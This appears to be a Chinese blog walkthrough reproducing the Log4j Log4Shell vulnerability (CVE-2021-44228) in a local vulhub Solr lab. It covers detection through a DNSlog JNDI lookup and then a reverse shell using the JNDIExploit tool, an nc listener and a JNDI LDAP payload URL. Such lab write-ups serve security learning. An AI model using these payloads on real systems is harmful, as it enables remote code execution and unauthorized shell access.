log4j漏洞CVE-2021-44228复现-排雷篇

一、环境搭建(用相同的环境才能保证一定成功)

下载vulhub,其他环境可能存在GET请求无效问题:

git clone https://github.com/vulhub/vulhub.git

切换到指定漏洞环境目录:

vulhub/log4j/CVE-2021-44228

开启docker:

docker compose up -d

复制代码
➜  vulhub git:(master) cd vulhub/log4j/CVE-2021-44228 
➜ CVE-2021-44228 git:(master) docker compose up -d [+] Running 9/9 
⠿ solr Pulled 107.8s 
⠿ 43c265008fae Pull complete 25.3s 
⠿ af36d2c7a148 Pull complete 26.0s 
⠿ 2b7b4d10e1c1 Pull complete 26.1s 
⠿ f264389d8f2f Pull complete 26.2s 
⠿ 1a2c46e93f4a Pull complete 26.3s 
⠿ f9506bb322c0 Pull complete 48.9s 
⠿ 96f5dad14c2c Pull complete 49.0s 
⠿ c387eff49cc3 Pull complete 90.9s [+] Running 2/2 
⠿ Network cve-2021-44228_default Created 0.1s 
⠿ Container cve-2021-44228-solr-1 Started

访问地址显示如下界面表示搭建成功: http://127.0.0.1:8983

二、漏洞验证

  1. 登陆http://dnslog.cn/获取随机域名,下图中的第一步;
  2. 漏洞页面修改url为:http://127.0.0.1:8983/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.xdeuza.dnslog.cn};
  3. 查看dnslog显示请求记录表示漏洞存在,上图中的第三步,未显示则点击上图中的第二步"Refresh Record";

三、反弹shell

下载JNDI注入工具,https://github.com/WhiteHSBG/JNDIExploit,MD5 (JNDIExploit.v1.4.zip) = bafe42623aae09d18bafa610844d57c7 ,之前一直用1.0总是无法成功反弹shell

解压后启动:java -jar JNDIExploit-1.4-SNAPSHOT.jar -i 172.16.242.3

同时开启nc监听:nc -lvnp 6666

nc监听和JNDIExploit在同一台机器上,IP:172.16.242.3

构造payload请求并访问:http://127.0.0.1:8983/solr/admin/cores?action=${jndi:ldap://172.16.242.3:1389/Basic/ReverseShell/172.16.242.3/6666}

后台显示JNDI注入成功:

nc反弹shell成功上线 :

相关推荐
看浪的路人18 小时前
第6讲:单元测试自动生成
python·ai·log4j
jufeng13075 天前
【系列:MiniKV 原理剖析 · 第 8 篇(完结篇)】
linux·c++·log4j·软件工程·makefile
冷咖啡离 我的笨笨9 天前
HttpContext.Current并非无处不在
log4j
5系暗夜孤魂z13 天前
优雅的.net REST API之FastEndpoints
log4j·.net
名字还没想好☜13 天前
Go 表驱动测试实战:用 t.Run 子测试组织可维护的单元测试
golang·单元测试·log4j·go·testing
老白干13 天前
jjwt 0.9.1 在 JDK 11+ 上的两个“坑”与完整解决方案
java·python·log4j
森叶15 天前
用 DataTransfer 模拟“用户选择本地文件“:不用系统对话框,也能给 `<input type=“file“>` 塞进真实文件
java·开发语言·log4j
2601_9647028921 天前
Claude Opus 5 API 新手指南:从零搭建第一个 AI 应用
人工智能·log4j
测试修炼手册24 天前
[测试技术] TestNG 入门与实战:分组、数据驱动与并行执行
junit·单元测试·log4j
在水一缸25 天前
深入浅出 Catch2:现代 C++ 测试框架的优雅实践
开发语言·c++·单元测试·log4j·测试框架·catch2